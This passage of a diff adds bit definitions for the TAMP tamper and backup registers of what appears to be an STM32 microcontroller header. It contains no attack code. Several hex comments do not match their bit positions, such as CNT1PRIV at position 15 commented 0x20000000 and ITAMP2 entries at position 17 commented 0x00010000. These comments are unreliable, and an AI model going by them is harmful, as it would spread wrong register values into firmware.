0x000000FF */ +#define TAMP_SECCFGR_BKPRWSEC TAMP_SECCFGR_BKPRWSEC_Msk +#define TAMP_SECCFGR_BKPRWSEC_0 (0x1UL << TAMP_SECCFGR_BKPRWSEC_Pos) /*!< 0x00000001 */ +#define TAMP_SECCFGR_BKPRWSEC_1 (0x2UL << TAMP_SECCFGR_BKPRWSEC_Pos) /*!< 0x00000002 */ +#define TAMP_SECCFGR_BKPRWSEC_2 (0x4UL << TAMP_SECCFGR_BKPRWSEC_Pos) /*!< 0x00000004 */ +#define TAMP_SECCFGR_BKPRWSEC_3 (0x8UL << TAMP_SECCFGR_BKPRWSEC_Pos) /*!< 0x00000008 */ +#define TAMP_SECCFGR_BKPRWSEC_4 (0x10UL << TAMP_SECCFGR_BKPRWSEC_Pos) /*!< 0x00000010 */ +#define TAMP_SECCFGR_BKPRWSEC_5 (0x20UL << TAMP_SECCFGR_BKPRWSEC_Pos) /*!< 0x00000020 */ +#define TAMP_SECCFGR_BKPRWSEC_6 (0x40UL << TAMP_SECCFGR_BKPRWSEC_Pos) /*!< 0x00000040 */ +#define TAMP_SECCFGR_BKPRWSEC_7 (0x80UL << TAMP_SECCFGR_BKPRWSEC_Pos) /*!< 0x00000080 */ +#define TAMP_SECCFGR_CNT1SEC_Pos (15UL) +#define TAMP_SECCFGR_CNT1SEC_Msk (0x1UL << TAMP_SECCFGR_CNT1SEC_Pos) /*!< 0x00008000 */ +#define TAMP_SECCFGR_CNT1SEC TAMP_SECCFGR_CNT1SEC_Msk +#define TAMP_SECCFGR_BKPWSEC_Pos (16UL) +#define TAMP_SECCFGR_BKPWSEC_Msk (0xFFUL << TAMP_SECCFGR_BKPWSEC_Pos) /*!< 0x00FF0000 */ +#define TAMP_SECCFGR_BKPWSEC TAMP_SECCFGR_BKPWSEC_Msk +#define TAMP_SECCFGR_BKPWSEC_0 (0x1UL << TAMP_SECCFGR_BKPWSEC_Pos) /*!< 0x00010000 */ +#define TAMP_SECCFGR_BKPWSEC_1 (0x2UL << TAMP_SECCFGR_BKPWSEC_Pos) /*!< 0x00020000 */ +#define TAMP_SECCFGR_BKPWSEC_2 (0x4UL << TAMP_SECCFGR_BKPWSEC_Pos) /*!< 0x00040000 */ +#define TAMP_SECCFGR_BKPWSEC_3 (0x8UL << TAMP_SECCFGR_BKPWSEC_Pos) /*!< 0x00080000 */ +#define TAMP_SECCFGR_BKPWSEC_4 (0x10UL << TAMP_SECCFGR_BKPWSEC_Pos) /*!< 0x00100000 */ +#define TAMP_SECCFGR_BKPWSEC_5 (0x20UL << TAMP_SECCFGR_BKPWSEC_Pos) /*!< 0x00200000 */ +#define TAMP_SECCFGR_BKPWSEC_6 (0x40UL << TAMP_SECCFGR_BKPWSEC_Pos) /*!< 0x00400000 */ +#define TAMP_SECCFGR_BKPWSEC_7 (0x80UL << TAMP_SECCFGR_BKPWSEC_Pos) /*!< 0x00800000 */ +#define TAMP_SECCFGR_BHKLOCK_Pos (30UL) +#define TAMP_SECCFGR_BHKLOCK_Msk (0x1UL << TAMP_SECCFGR_BHKLOCK_Pos) /*!< 0x40000000 */ +#define TAMP_SECCFGR_BHKLOCK TAMP_SECCFGR_BHKLOCK_Msk +#define TAMP_SECCFGR_TAMPSEC_Pos (31UL) +#define TAMP_SECCFGR_TAMPSEC_Msk (0x1UL << TAMP_SECCFGR_TAMPSEC_Pos) /*!< 0x80000000 */ +#define TAMP_SECCFGR_TAMPSEC TAMP_SECCFGR_TAMPSEC_Msk + +/******************** Bits definition for TAMP_PRIVCFGR register ************/ +#define TAMP_PRIVCFGR_CNT1PRIV_Pos (15UL) +#define TAMP_PRIVCFGR_CNT1PRIV_Msk (0x1UL << TAMP_PRIVCFGR_CNT1PRIV_Pos) /*!< 0x20000000 */ +#define TAMP_PRIVCFGR_CNT1PRIV TAMP_PRIVCFGR_CNT1PRIV_Msk +#define TAMP_PRIVCFGR_BKPRWPRIV_Pos (29UL) +#define TAMP_PRIVCFGR_BKPRWPRIV_Msk (0x1UL << TAMP_PRIVCFGR_BKPRWPRIV_Pos) /*!< 0x20000000 */ +#define TAMP_PRIVCFGR_BKPRWPRIV TAMP_PRIVCFGR_BKPRWPRIV_Msk +#define TAMP_PRIVCFGR_BKPWPRIV_Pos (30UL) +#define TAMP_PRIVCFGR_BKPWPRIV_Msk (0x1UL << TAMP_PRIVCFGR_BKPWPRIV_Pos) /*!< 0x40000000 */ +#define TAMP_PRIVCFGR_BKPWPRIV TAMP_PRIVCFGR_BKPWPRIV_Msk +#define TAMP_PRIVCFGR_TAMPPRIV_Pos (31UL) +#define TAMP_PRIVCFGR_TAMPPRIV_Msk (0x1UL << TAMP_PRIVCFGR_TAMPPRIV_Pos) /*!< 0x80000000 */ +#define TAMP_PRIVCFGR_TAMPPRIV TAMP_PRIVCFGR_TAMPPRIV_Msk + +/******************** Bits definition for TAMP_IER register *****************/ +#define TAMP_IER_TAMP1IE_Pos (0UL) +#define TAMP_IER_TAMP1IE_Msk (0x1UL << TAMP_IER_TAMP1IE_Pos) /*!< 0x00000001 */ +#define TAMP_IER_TAMP1IE TAMP_IER_TAMP1IE_Msk +#define TAMP_IER_TAMP2IE_Pos (1UL) +#define TAMP_IER_TAMP2IE_Msk (0x1UL << TAMP_IER_TAMP2IE_Pos) /*!< 0x00000002 */ +#define TAMP_IER_TAMP2IE TAMP_IER_TAMP2IE_Msk +#define TAMP_IER_TAMP3IE_Pos (2UL) +#define TAMP_IER_TAMP3IE_Msk (0x1UL << TAMP_IER_TAMP3IE_Pos) /*!< 0x00000004 */ +#define TAMP_IER_TAMP3IE TAMP_IER_TAMP3IE_Msk +#define TAMP_IER_TAMP4IE_Pos (3UL) +#define TAMP_IER_TAMP4IE_Msk (0x1UL << TAMP_IER_TAMP4IE_Pos) /*!< 0x00000008 */ +#define TAMP_IER_TAMP4IE TAMP_IER_TAMP4IE_Msk +#define TAMP_IER_TAMP5IE_Pos (4UL) +#define TAMP_IER_TAMP5IE_Msk (0x1UL << TAMP_IER_TAMP5IE_Pos) /*!< 0x00000010 */ +#define TAMP_IER_TAMP5IE TAMP_IER_TAMP5IE_Msk +#define TAMP_IER_TAMP6IE_Pos (5UL) +#define TAMP_IER_TAMP6IE_Msk (0x1UL << TAMP_IER_TAMP6IE_Pos) /*!< 0x00000020 */ +#define TAMP_IER_TAMP6IE TAMP_IER_TAMP6IE_Msk +#define TAMP_IER_TAMP7IE_Pos (6UL) +#define TAMP_IER_TAMP7IE_Msk (0x1UL << TAMP_IER_TAMP7IE_Pos) /*!< 0x00000040 */ +#define TAMP_IER_TAMP7IE TAMP_IER_TAMP7IE_Msk +#define TAMP_IER_TAMP8IE_Pos (7UL) +#define TAMP_IER_TAMP8IE_Msk (0x1UL << TAMP_IER_TAMP8IE_Pos) /*!< 0x00000080 */ +#define TAMP_IER_TAMP8IE TAMP_IER_TAMP8IE_Msk +#define TAMP_IER_ITAMP1IE_Pos (16UL) +#define TAMP_IER_ITAMP1IE_Msk (0x1UL << TAMP_IER_ITAMP1IE_Pos) /*!< 0x00010000 */ +#define TAMP_IER_ITAMP1IE TAMP_IER_ITAMP1IE_Msk +#define TAMP_IER_ITAMP2IE_Pos (17UL) +#define TAMP_IER_ITAMP2IE_Msk (0x1UL << TAMP_IER_ITAMP2IE_Pos) /*!< 0x00020000 */ +#define TAMP_IER_ITAMP2IE TAMP_IER_ITAMP2IE_Msk +#define TAMP_IER_ITAMP3IE_Pos (18UL) +#define TAMP_IER_ITAMP3IE_Msk (0x1UL << TAMP_IER_ITAMP3IE_Pos) /*!< 0x00040000 */ +#define TAMP_IER_ITAMP3IE TAMP_IER_ITAMP3IE_Msk +#define TAMP_IER_ITAMP5IE_Pos (20UL) +#define TAMP_IER_ITAMP5IE_Msk (0x1UL << TAMP_IER_ITAMP5IE_Pos) /*!< 0x00100000 */ +#define TAMP_IER_ITAMP5IE TAMP_IER_ITAMP5IE_Msk +#define TAMP_IER_ITAMP6IE_Pos (21UL) +#define TAMP_IER_ITAMP6IE_Msk (0x1UL << TAMP_IER_ITAMP6IE_Pos) /*!< 0x00200000 */ +#define TAMP_IER_ITAMP6IE TAMP_IER_ITAMP6IE_Msk +#define TAMP_IER_ITAMP7IE_Pos (22UL) +#define TAMP_IER_ITAMP7IE_Msk (0x1UL << TAMP_IER_ITAMP7IE_Pos) /*!< 0x00400000 */ +#define TAMP_IER_ITAMP7IE TAMP_IER_ITAMP7IE_Msk +#define TAMP_IER_ITAMP8IE_Pos (23UL) +#define TAMP_IER_ITAMP8IE_Msk (0x1UL << TAMP_IER_ITAMP8IE_Pos) /*!< 0x00800000 */ +#define TAMP_IER_ITAMP8IE TAMP_IER_ITAMP8IE_Msk +#define TAMP_IER_ITAMP9IE_Pos (24UL) +#define TAMP_IER_ITAMP9IE_Msk (0x1UL << TAMP_IER_ITAMP9IE_Pos) /*!< 0x01000000 */ +#define TAMP_IER_ITAMP9IE TAMP_IER_ITAMP9IE_Msk +#define TAMP_IER_ITAMP11IE_Pos (26UL) +#define TAMP_IER_ITAMP11IE_Msk (0x1UL << TAMP_IER_ITAMP11IE_Pos) /*!< 0x04000000 */ +#define TAMP_IER_ITAMP11IE TAMP_IER_ITAMP11IE_Msk +#define TAMP_IER_ITAMP12IE_Pos (27UL) +#define TAMP_IER_ITAMP12IE_Msk (0x1UL << TAMP_IER_ITAMP12IE_Pos) /*!< 0x08000000 */ +#define TAMP_IER_ITAMP12IE TAMP_IER_ITAMP12IE_Msk +#define TAMP_IER_ITAMP13IE_Pos (28UL) +#define TAMP_IER_ITAMP13IE_Msk (0x1UL << TAMP_IER_ITAMP13IE_Pos) /*!< 0x10000000 */ +#define TAMP_IER_ITAMP13IE TAMP_IER_ITAMP13IE_Msk + +/******************** Bits definition for TAMP_SR register *****************/ +#define TAMP_SR_TAMP1F_Pos (0UL) +#define TAMP_SR_TAMP1F_Msk (0x1UL << TAMP_SR_TAMP1F_Pos) /*!< 0x00000001 */ +#define TAMP_SR_TAMP1F TAMP_SR_TAMP1F_Msk +#define TAMP_SR_TAMP2F_Pos (1UL) +#define TAMP_SR_TAMP2F_Msk (0x1UL << TAMP_SR_TAMP2F_Pos) /*!< 0x00000002 */ +#define TAMP_SR_TAMP2F TAMP_SR_TAMP2F_Msk +#define TAMP_SR_TAMP3F_Pos (2UL) +#define TAMP_SR_TAMP3F_Msk (0x1UL << TAMP_SR_TAMP3F_Pos) /*!< 0x00000004 */ +#define TAMP_SR_TAMP3F TAMP_SR_TAMP3F_Msk +#define TAMP_SR_TAMP4F_Pos (3UL) +#define TAMP_SR_TAMP4F_Msk (0x1UL << TAMP_SR_TAMP4F_Pos) /*!< 0x00000008 */ +#define TAMP_SR_TAMP4F TAMP_SR_TAMP4F_Msk +#define TAMP_SR_TAMP5F_Pos (4UL) +#define TAMP_SR_TAMP5F_Msk (0x1UL << TAMP_SR_TAMP5F_Pos) /*!< 0x00000010 */ +#define TAMP_SR_TAMP5F TAMP_SR_TAMP5F_Msk +#define TAMP_SR_TAMP6F_Pos (5UL) +#define TAMP_SR_TAMP6F_Msk (0x1UL << TAMP_SR_TAMP6F_Pos) /*!< 0x00000020 */ +#define TAMP_SR_TAMP6F TAMP_SR_TAMP6F_Msk +#define TAMP_SR_TAMP7F_Pos (6UL) +#define TAMP_SR_TAMP7F_Msk (0x1UL << TAMP_SR_TAMP7F_Pos) /*!< 0x00000040 */ +#define TAMP_SR_TAMP7F TAMP_SR_TAMP7F_Msk +#define TAMP_SR_TAMP8F_Pos (7UL) +#define TAMP_SR_TAMP8F_Msk (0x1UL << TAMP_SR_TAMP8F_Pos) /*!< 0x00000080 */ +#define TAMP_SR_TAMP8F TAMP_SR_TAMP8F_Msk +#define TAMP_SR_ITAMP1F_Pos (16UL) +#define TAMP_SR_ITAMP1F_Msk (0x1UL << TAMP_SR_ITAMP1F_Pos) /*!< 0x00010000 */ +#define TAMP_SR_ITAMP1F TAMP_SR_ITAMP1F_Msk +#define TAMP_SR_ITAMP2F_Pos (17UL) +#define TAMP_SR_ITAMP2F_Msk (0x1UL << TAMP_SR_ITAMP2F_Pos) /*!< 0x00010000 */ +#define TAMP_SR_ITAMP2F TAMP_SR_ITAMP2F_Msk +#define TAMP_SR_ITAMP3F_Pos (18UL) +#define TAMP_SR_ITAMP3F_Msk (0x1UL << TAMP_SR_ITAMP3F_Pos) /*!< 0x00040000 */ +#define TAMP_SR_ITAMP3F TAMP_SR_ITAMP3F_Msk +#define TAMP_SR_ITAMP5F_Pos (20UL) +#define TAMP_SR_ITAMP5F_Msk (0x1UL << TAMP_SR_ITAMP5F_Pos) /*!< 0x00100000 */ +#define TAMP_SR_ITAMP5F TAMP_SR_ITAMP5F_Msk +#define TAMP_SR_ITAMP6F_Pos (21UL) +#define TAMP_SR_ITAMP6F_Msk (0x1UL << TAMP_SR_ITAMP6F_Pos) /*!< 0x00200000 */ +#define TAMP_SR_ITAMP6F TAMP_SR_ITAMP6F_Msk +#define TAMP_SR_ITAMP7F_Pos (22UL) +#define TAMP_SR_ITAMP7F_Msk (0x1UL << TAMP_SR_ITAMP7F_Pos) /*!< 0x00400000 */ +#define TAMP_SR_ITAMP7F TAMP_SR_ITAMP7F_Msk +#define TAMP_SR_ITAMP8F_Pos (23UL) +#define TAMP_SR_ITAMP8F_Msk (0x1UL << TAMP_SR_ITAMP8F_Pos) /*!< 0x00800000 */ +#define TAMP_SR_ITAMP8F TAMP_SR_ITAMP8F_Msk +#define TAMP_SR_ITAMP9F_Pos (24UL) +#define TAMP_SR_ITAMP9F_Msk (0x1UL << TAMP_SR_ITAMP9F_Pos) /*!< 0x01000000 */ +#define TAMP_SR_ITAMP9F TAMP_SR_ITAMP9F_Msk +#define TAMP_SR_ITAMP11F_Pos (26UL) +#define TAMP_SR_ITAMP11F_Msk (0x1UL << TAMP_SR_ITAMP11F_Pos) /*!< 0x04000000 */ +#define TAMP_SR_ITAMP11F TAMP_SR_ITAMP11F_Msk +#define TAMP_SR_ITAMP12F_Pos (27UL) +#define TAMP_SR_ITAMP12F_Msk (0x1UL << TAMP_SR_ITAMP12F_Pos) /*!< 0x08000000 */ +#define TAMP_SR_ITAMP12F TAMP_SR_ITAMP12F_Msk +#define TAMP_SR_ITAMP13F_Pos (28UL) +#define TAMP_SR_ITAMP13F_Msk (0x1UL << TAMP_SR_ITAMP13F_Pos) /*!< 0x10000000 */ +#define TAMP_SR_ITAMP13F TAMP_SR_ITAMP13F_Msk + +/******************** Bits definition for TAMP_MISR register ****************/ +#define TAMP_MISR_TAMP1MF_Pos (0UL) +#define TAMP_MISR_TAMP1MF_Msk (0x1UL << TAMP_MISR_TAMP1MF_Pos) /*!< 0x00000001 */ +#define TAMP_MISR_TAMP1MF TAMP_MISR_TAMP1MF_Msk +#define TAMP_MISR_TAMP2MF_Pos (1UL) +#define TAMP_MISR_TAMP2MF_Msk (0x1UL << TAMP_MISR_TAMP2MF_Pos) /*!< 0x00000002 */ +#define TAMP_MISR_TAMP2MF TAMP_MISR_TAMP2MF_Msk +#define TAMP_MISR_TAMP3MF_Pos (2UL) +#define TAMP_MISR_TAMP3MF_Msk (0x1UL << TAMP_MISR_TAMP3MF_Pos) /*!< 0x00000004 */ +#define TAMP_MISR_TAMP3MF TAMP_MISR_TAMP3MF_Msk +#define TAMP_MISR_TAMP4MF_Pos (3UL) +#define TAMP_MISR_TAMP4MF_Msk (0x1UL << TAMP_MISR_TAMP4MF_Pos) /*!< 0x00000008 */ +#define TAMP_MISR_TAMP4MF TAMP_MISR_TAMP4MF_Msk +#define TAMP_MISR_TAMP5MF_Pos (4UL) +#define TAMP_MISR_TAMP5MF_Msk (0x1UL << TAMP_MISR_TAMP5MF_Pos) /*!< 0x00000010 */ +#define TAMP_MISR_TAMP5MF TAMP_MISR_TAMP5MF_Msk +#define TAMP_MISR_TAMP6MF_Pos (5UL) +#define TAMP_MISR_TAMP6MF_Msk (0x1UL << TAMP_MISR_TAMP6MF_Pos) /*!< 0x00000020 */ +#define TAMP_MISR_TAMP6MF TAMP_MISR_TAMP6MF_Msk +#define TAMP_MISR_TAMP7MF_Pos (6UL) +#define TAMP_MISR_TAMP7MF_Msk (0x1UL << TAMP_MISR_TAMP7MF_Pos) /*!< 0x00000040 */ +#define TAMP_MISR_TAMP7MF TAMP_MISR_TAMP7MF_Msk +#define TAMP_MISR_TAMP8MF_Pos (7UL) +#define TAMP_MISR_TAMP8MF_Msk (0x1UL << TAMP_MISR_TAMP8MF_Pos) /*!< 0x00000080 */ +#define TAMP_MISR_TAMP8MF TAMP_MISR_TAMP8MF_Msk +#define TAMP_MISR_ITAMP1MF_Pos (16UL) +#define TAMP_MISR_ITAMP1MF_Msk (0x1UL << TAMP_MISR_ITAMP1MF_Pos) /*!< 0x00010000 */ +#define TAMP_MISR_ITAMP1MF TAMP_MISR_ITAMP1MF_Msk +#define TAMP_MISR_ITAMP2MF_Pos (17UL) +#define TAMP_MISR_ITAMP2MF_Msk (0x1UL << TAMP_MISR_ITAMP2MF_Pos) /*!< 0x00010000 */ +#define TAMP_MISR_ITAMP2MF TAMP_MISR_ITAMP2MF_Msk +#define TAMP_MISR_ITAMP3MF_Pos (18UL) +#define TAMP_MISR_ITAMP3MF_Msk (0x1UL << TAMP_MISR_ITAMP3MF_Pos) /*!< 0x00040000 */ +#define TAMP_MISR_ITAMP3MF TAMP_MISR_ITAMP3MF_Msk +#define TAMP_MISR_ITAMP5MF_Pos (20UL) +#define TAMP_MISR_ITAMP5MF_Msk (0x1UL << TAMP_MISR_ITAMP5MF_Pos) /*!< 0x00100000 */ +#define TAMP_MISR_ITAMP5MF TAMP_MISR_ITAMP5MF_Msk +#define TAMP_MISR_ITAMP6MF_Pos (21UL) +#define TAMP_MISR_ITAMP6MF_Msk (0x1UL << TAMP_MISR_ITAMP6MF_Pos) /*!< 0x00200000 */ +#define TAMP_MISR_ITAMP6MF TAMP_MISR_ITAMP6MF_Msk +#define TAMP_MISR_ITAMP7MF_Pos (22UL) +#define TAMP_MISR_ITAMP7MF_Msk (0x1UL << TAMP_MISR_ITAMP7MF_Pos) /*!< 0x00400000 */ +#define TAMP_MISR_ITAMP7MF TAMP_MISR_ITAMP7MF_Msk +#define TAMP_MISR_ITAMP8MF_Pos (23UL) +#define TAMP_MISR_ITAMP8MF_Msk (0x1UL << TAMP_MISR_ITAMP8MF_Pos) /*!< 0x00800000 */ +#define TAMP_MISR_ITAMP8MF TAMP_MISR_ITAMP8MF_Msk +#define TAMP_MISR_ITAMP9MF_Pos (24UL) +#define TAMP_MISR_ITAMP9MF_Msk (0x1UL << TAMP_MISR_ITAMP9MF_Pos) /*!< 0x01000000 */ +#define TAMP_MISR_ITAMP9MF TAMP_MISR_ITAMP9MF_Msk +#define TAMP_MISR_ITAMP11MF_Pos (26UL) +#define TAMP_MISR_ITAMP11MF_Msk (0x1UL << TAMP_MISR_ITAMP11MF_Pos) /*!< 0x04000000 */ +#define TAMP_MISR_ITAMP11MF TAMP_MISR_ITAMP11MF_Msk +#define TAMP_MISR_ITAMP12MF_Pos (27UL) +#define TAMP_MISR_ITAMP12MF_Msk (0x1UL << TAMP_MISR_ITAMP12MF_Pos) /*!< 0x08000000 */ +#define TAMP_MISR_ITAMP12MF TAMP_MISR_ITAMP12MF_Msk +#define TAMP_MISR_ITAMP13MF_Pos (28UL) +#define TAMP_MISR_ITAMP13MF_Msk (0x1UL << TAMP_MISR_ITAMP13MF_Pos) /*!< 0x10000000 */ +#define TAMP_MISR_ITAMP13MF TAMP_MISR_ITAMP13MF_Msk + +/******************** Bits definition for TAMP_SMISR register ************ *****/ +#define TAMP_SMISR_TAMP1MF_Pos (0UL) +#define TAMP_SMISR_TAMP1MF_Msk (0x1UL << TAMP_SMISR_TAMP1MF_Pos) /*!< 0x00000001 */ +#define TAMP_SMISR_TAMP1MF TAMP_SMISR_TAMP1MF_Msk +#define TAMP_SMISR_TAMP2MF_Pos (1UL) +#define TAMP_SMISR_TAMP2MF_Msk (0x1UL << TAMP_SMISR_TAMP2MF_Pos) /*!< 0x00000002 */ +#define TAMP_SMISR_TAMP2MF TAMP_SMISR_TAMP2MF_Msk +#define TAMP_SMISR_TAMP3MF_Pos (2UL) +#define TAMP_SMISR_TAMP3MF_Msk (0x1UL << TAMP_SMISR_TAMP3MF_Pos) /*!< 0x00000004 */ +#define TAMP_SMISR_TAMP3MF TAMP_SMISR_TAMP3MF_Msk +#define TAMP_SMISR_TAMP4MF_Pos (3UL) +#define TAMP_SMISR_TAMP4MF_Msk (0x1UL << TAMP_SMISR_TAMP4MF_Pos) /*!< 0x00000008 */ +#define TAMP_SMISR_TAMP4MF TAMP_SMISR_TAMP4MF_Msk +#define TAMP_SMISR_TAMP5MF_Pos (4UL) +#define TAMP_SMISR_TAMP5MF_Msk (0x1UL << TAMP_SMISR_TAMP5MF_Pos) /*!< 0x00000010 */ +#define TAMP_SMISR_TAMP5MF TAMP_SMISR_TAMP5MF_Msk +#define TAMP_SMISR_TAMP6MF_Pos (5UL) +#define TAMP_SMISR_TAMP6MF_Msk (0x1UL << TAMP_SMISR_TAMP6MF_Pos) /*!< 0x00000020 */ +#define TAMP_SMISR_TAMP6MF TAMP_SMISR_TAMP6MF_Msk +#define TAMP_SMISR_TAMP7MF_Pos (6UL) +#define TAMP_SMISR_TAMP7MF_Msk (0x1UL << TAMP_SMISR_TAMP7MF_Pos) /*!< 0x00000040 */ +#define TAMP_SMISR_TAMP7MF TAMP_SMISR_TAMP7MF_Msk +#define TAMP_SMISR_TAMP8MF_Pos (7UL) +#define TAMP_SMISR_TAMP8MF_Msk (0x1UL << TAMP_SMISR_TAMP8MF_Pos) /*!< 0x00000080 */ +#define TAMP_SMISR_TAMP8MF TAMP_SMISR_TAMP8MF_Msk +#define TAMP_SMISR_ITAMP1MF_Pos (16UL) +#define TAMP_SMISR_ITAMP1MF_Msk (0x1UL << TAMP_SMISR_ITAMP1MF_Pos) /*!< 0x00010000 */ +#define TAMP_SMISR_ITAMP1MF TAMP_SMISR_ITAMP1MF_Msk +#define TAMP_SMISR_ITAMP2MF_Pos (17UL) +#define TAMP_SMISR_ITAMP2MF_Msk (0x1UL << TAMP_SMISR_ITAMP2MF_Pos) /*!< 0x00010000 */ +#define TAMP_SMISR_ITAMP2MF TAMP_SMISR_ITAMP2MF_Msk +#define TAMP_SMISR_ITAMP3MF_Pos (18UL) +#define TAMP_SMISR_ITAMP3MF_Msk (0x1UL << TAMP_SMISR_ITAMP3MF_Pos) /*!< 0x00040000 */ +#define TAMP_SMISR_ITAMP3MF TAMP_SMISR_ITAMP3MF_Msk +#define TAMP_SMISR_ITAMP5MF_Pos (20UL) +#define TAMP_SMISR_ITAMP5MF_Msk (0x1UL << TAMP_SMISR_ITAMP5MF_Pos) /*!< 0x00100000 */ +#define TAMP_SMISR_ITAMP5MF TAMP_SMISR_ITAMP5MF_Msk +#define TAMP_SMISR_ITAMP6MF_Pos (21UL) +#define TAMP_SMISR_ITAMP6MF_Msk (0x1UL << TAMP_SMISR_ITAMP6MF_Pos) /*!< 0x00200000 */ +#define TAMP_SMISR_ITAMP6MF TAMP_SMISR_ITAMP6MF_Msk +#define TAMP_SMISR_ITAMP7MF_Pos (22UL) +#define TAMP_SMISR_ITAMP7MF_Msk (0x1UL << TAMP_SMISR_ITAMP7MF_Pos) /*!< 0x00400000 */ +#define TAMP_SMISR_ITAMP7MF TAMP_SMISR_ITAMP7MF_Msk +#define TAMP_SMISR_ITAMP8MF_Pos (23UL) +#define TAMP_SMISR_ITAMP8MF_Msk (0x1UL << TAMP_SMISR_ITAMP8MF_Pos) /*!< 0x00800000 */ +#define TAMP_SMISR_ITAMP8MF TAMP_SMISR_ITAMP8MF_Msk +#define TAMP_SMISR_ITAMP9MF_Pos (24UL) +#define TAMP_SMISR_ITAMP9MF_Msk (0x1UL << TAMP_SMISR_ITAMP9MF_Pos) /*!< 0x01000000 */ +#define TAMP_SMISR_ITAMP9MF TAMP_SMISR_ITAMP9MF_Msk +#define TAMP_SMISR_ITAMP11MF_Pos (26UL) +#define TAMP_SMISR_ITAMP11MF_Msk (0x1UL << TAMP_SMISR_ITAMP11MF_Pos) /*!< 0x04000000 */ +#define TAMP_SMISR_ITAMP11MF TAMP_SMISR_ITAMP11MF_Msk +#define TAMP_SMISR_ITAMP12MF_Pos (27UL) +#define TAMP_SMISR_ITAMP12MF_Msk (0x1UL << TAMP_SMISR_ITAMP12MF_Pos) /*!< 0x08000000 */ +#define TAMP_SMISR_ITAMP12MF TAMP_SMISR_ITAMP12MF_Msk +#define TAMP_SMISR_ITAMP13MF_Pos (28UL) +#define TAMP_SMISR_ITAMP13MF_Msk (0x1UL << TAMP_SMISR_ITAMP13MF_Pos) /*!< 0x10000000 */ +#define TAMP_SMISR_ITAMP13MF TAMP_SMISR_ITAMP13MF_Msk + +/******************** Bits definition for TAMP_SCR register *****************/ +#define TAMP_SCR_CTAMP1F_Pos (0UL) +#define TAMP_SCR_CTAMP1F_Msk (0x1UL << TAMP_SCR_CTAMP1F_Pos) /*!< 0x00000001 */ +#define TAMP_SCR_CTAMP1F TAMP_SCR_CTAMP1F_Msk +#define TAMP_SCR_CTAMP2F_Pos (1UL) +#define TAMP_SCR_CTAMP2F_Msk (0x1UL << TAMP_SCR_CTAMP2F_Pos) /*!< 0x00000002 */ +#define TAMP_SCR_CTAMP2F TAMP_SCR_CTAMP2F_Msk +#define TAMP_SCR_CTAMP3F_Pos (2UL) +#define TAMP_SCR_CTAMP3F_Msk (0x1UL << TAMP_SCR_CTAMP3F_Pos) /*!< 0x00000004 */ +#define TAMP_SCR_CTAMP3F TAMP_SCR_CTAMP3F_Msk +#define TAMP_SCR_CTAMP4F_Pos (3UL) +#define TAMP_SCR_CTAMP4F_Msk (0x1UL << TAMP_SCR_CTAMP4F_Pos) /*!< 0x00000008 */ +#define TAMP_SCR_CTAMP4F TAMP_SCR_CTAMP4F_Msk +#define TAMP_SCR_CTAMP5F_Pos (4UL) +#define TAMP_SCR_CTAMP5F_Msk (0x1UL << TAMP_SCR_CTAMP5F_Pos) /*!< 0x00000010 */ +#define TAMP_SCR_CTAMP5F TAMP_SCR_CTAMP5F_Msk +#define TAMP_SCR_CTAMP6F_Pos (5UL) +#define TAMP_SCR_CTAMP6F_Msk (0x1UL << TAMP_SCR_CTAMP6F_Pos) /*!< 0x00000020 */ +#define TAMP_SCR_CTAMP6F TAMP_SCR_CTAMP6F_Msk +#define TAMP_SCR_CTAMP7F_Pos (6UL) +#define TAMP_SCR_CTAMP7F_Msk (0x1UL << TAMP_SCR_CTAMP7F_Pos) /*!< 0x00000040 */ +#define TAMP_SCR_CTAMP7F TAMP_SCR_CTAMP7F_Msk +#define TAMP_SCR_CTAMP8F_Pos (7UL) +#define TAMP_SCR_CTAMP8F_Msk (0x1UL << TAMP_SCR_CTAMP8F_Pos) /*!< 0x00000080 */ +#define TAMP_SCR_CTAMP8F TAMP_SCR_CTAMP8F_Msk +#define TAMP_SCR_CITAMP1F_Pos (16UL) +#define TAMP_SCR_CITAMP1F_Msk (0x1UL << TAMP_SCR_CITAMP1F_Pos) /*!< 0x00010000 */ +#define TAMP_SCR_CITAMP1F TAMP_SCR_CITAMP1F_Msk +#define TAMP_SCR_CITAMP2F_Pos (17UL) +#define TAMP_SCR_CITAMP2F_Msk (0x1UL << TAMP_SCR_CITAMP2F_Pos) /*!< 0x00010000 */ +#define TAMP_SCR_CITAMP2F TAMP_SCR_CITAMP2F_Msk +#define TAMP_SCR_CITAMP3F_Pos (18UL) +#define TAMP_SCR_CITAMP3F_Msk (0x1UL << TAMP_SCR_CITAMP3F_Pos) /*!< 0x00040000 */ +#define TAMP_SCR_CITAMP3F TAMP_SCR_CITAMP3F_Msk +#define TAMP_SCR_CITAMP5F_Pos (20UL) +#define TAMP_SCR_CITAMP5F_Msk (0x1UL << TAMP_SCR_CITAMP5F_Pos) /*!< 0x00100000 */ +#define TAMP_SCR_CITAMP5F TAMP_SCR_CITAMP5F_Msk +#define TAMP_SCR_CITAMP6F_Pos (21UL) +#define TAMP_SCR_CITAMP6F_Msk (0x1UL << TAMP_SCR_CITAMP6F_Pos) /*!< 0x00200000 */ +#define TAMP_SCR_CITAMP6F TAMP_SCR_CITAMP6F_Msk +#define TAMP_SCR_CITAMP7F_Pos (22UL) +#define TAMP_SCR_CITAMP7F_Msk (0x1UL << TAMP_SCR_CITAMP7F_Pos) /*!< 0x00400000 */ +#define TAMP_SCR_CITAMP7F TAMP_SCR_CITAMP7F_Msk +#define TAMP_SCR_CITAMP8F_Pos (23UL) +#define TAMP_SCR_CITAMP8F_Msk (0x1UL << TAMP_SCR_CITAMP8F_Pos) /*!< 0x00800000 */ +#define TAMP_SCR_CITAMP8F TAMP_SCR_CITAMP8F_Msk +#define TAMP_SCR_CITAMP9F_Pos (24UL) +#define TAMP_SCR_CITAMP9F_Msk (0x1UL << TAMP_SCR_CITAMP9F_Pos) /*!< 0x01000000 */ +#define TAMP_SCR_CITAMP9F TAMP_SCR_CITAMP9F_Msk +#define TAMP_SCR_CITAMP11F_Pos (26UL) +#define TAMP_SCR_CITAMP11F_Msk (0x1UL << TAMP_SCR_CITAMP11F_Pos) /*!< 0x04000000 */ +#define TAMP_SCR_CITAMP11F TAMP_SCR_CITAMP11F_Msk +#define TAMP_SCR_CITAMP12F_Pos (27UL) +#define TAMP_SCR_CITAMP12F_Msk (0x1UL << TAMP_SCR_CITAMP12F_Pos) /*!< 0x08000000 */ +#define TAMP_SCR_CITAMP12F TAMP_SCR_CITAMP12F_Msk +#define TAMP_SCR_CITAMP13F_Pos (28UL) +#define TAMP_SCR_CITAMP13F_Msk (0x1UL << TAMP_SCR_CITAMP13F_Pos) /*!< 